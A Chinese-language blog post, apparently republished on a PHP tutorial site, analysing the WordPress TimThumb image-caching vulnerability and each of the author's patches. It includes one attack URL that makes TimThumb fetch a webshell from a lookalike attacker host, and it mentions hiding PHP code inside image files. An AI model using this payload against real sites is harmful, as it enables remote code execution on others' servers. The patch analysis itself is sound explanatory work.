网站地图    收藏   

主页 > 后端 > 网站安全 >

WordPress TimThumb 插件漏洞关键点和几个有意思的地

来源:自学PHP网    时间:2015-04-17 14:47 作者: 阅读:

[导读] 前几天国外暴了个WordPress TimThumb 插件的漏洞,这个插件很多WordPress主题都用了,包括国内某某付费主题,这里我就不多说了,以免小黑去搞人家BLOG。http://code.google.com/p/timthumb/source/bro...

前几天国外暴了个WordPress TimThumb 插件的漏洞,这个插件很多WordPress主题都用了,包括国内某某付费主题,这里我就不多说了,以免小黑去搞人家BLOG。

http://code.google.com/p/timthumb/source/browse/trunk/timthumb.php?spec=svn140&r=140

这个插件主要功能是缓存远程的图片到本地,其中一条缓存图片的分支存在漏洞,是通过CURL直接下载图片保存的。我们先从源代码看下漏洞的上下文,要走到有漏洞的缓存图片的分支,图片URL里必须包含以下域名。

$allowedSites = array (
‘flickr.com’,
‘picasa.com’,
‘blogger.com’,
‘wordpress.com’,
‘img.youtube.com’,
‘upload.wikimedia.org’,
‘photobucket.com’,
);

 

漏洞的关键所在是保存的文件名

$file_details = pathinfo ($src);
$filename = ‘external_’ . md5 ($src);
$local_filepath = DIRECTORY_CACHE . ‘/’ . $filename . ‘.’ . $file_details['extension'];
// $local_filepath是’external_md5 ($src)加$file_details['extension'];

如果$src是http://www.2cto.com /x.php  ,pathinfo 函数处理$src后就直接取了变量的.php后缀 .

那么缓存的文件名将是external_md5($src).php

 

最后黑客可以通过timthumb.php?src=http://wordpress.com.hacker.com/webshell.php来攻击。

 

下面看作者怎么补漏洞的,GOOGLE CODE的DIFF更直观:

1.http://code.google.com/p/timthumb/source/diff?spec=svn141&r=141&format=side&path=/trunk/timthumb.php

OK,作者发现存了带PHP后缀的图片

$file_infos = getimagesize ($local_filepath); //先用getimagesize函数看看文件格式是不是图片

 if (empty ($file_infos['mime']) || !preg_match (“/jpg|jpeg|gif|png/i”, $mime_type))

 //用图片后缀正则匹匹看看$mime_type,联系程序上文可以知道

$mime_type = mime_type ($src);

mime_type函数就不看了,都是取文件格式决定后缀,最后如果不符合这个条件就删除文件。

看到这里大家基本上都会知道没用,二进制合并就可以把PHP代码藏在图片文件里,于是作者有了第二次升级。

 

2.http://code.google.com/p/timthumb/source/diff?spec=svn142&r=142&format=side&path=/trunk/timthumb.php

$filename = ‘external_’ . md5 ($src); 
$local_filepath = DIRECTORY_CACHE . ’/’ . $filename;

//作者终于发现漏洞的根源了,将文件名彻底的改为external_’ . md5 ($src);

 

3.http://code.google.com/p/timthumb/source/diff?spec=svn143&r=143&format=side&path=/trunk/timthumb.php

但是到这里就完了么?大家应该还知道一种漏洞吧,80sec发现的nginx cgi_script_name漏洞,所以作者开始考虑缓存图片来源的安全问题了。

$url_info['host'] 是通过parse_url函数取的

if (strpos (strtolower ($url_info['host'] . ‘/’), $site) !== false)

//作者开始严格匹配白名单URL,从URL的HOST加路径符开始搜索,而不再是简单的字符串搜索。

 

4.http://code.google.com/p/timthumb/source/diff?spec=svn144&r=144&format=side&path=/trunk/timthumb.php

作者用更优雅的方法来匹配URL的HOST

if (preg_match (‘/(?:^|\.)’ . $site . ‘$/i’, $url_info['host']))

 

5. http://code.google.com/p/timthumb/source/diff?spec=svn145&r=145&format=side&path=/trunk/timthumb.php

作者发现 blogger.com,wordpress.com,photobucket.com三个白名单的来的图片不靠谱,于是去掉了这三个白名单。

 

6.http://code.google.com/p/timthumb/source/diff?spec=svn148&r=148&format=side&path=/trunk/timthumb.php

最后还有1个小插曲

touch (DIRECTORY_CACHE . ‘/index.php’);

作者怕服务器给图片缓存目录给列目录,后来的黑客捡前面黑客留下的webshell的便宜,加了个index.php。

 

 PS:最后再叹一下,安全就是这样缝缝又补补,你说程序员苦不苦

本文来自: 雪域博客

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论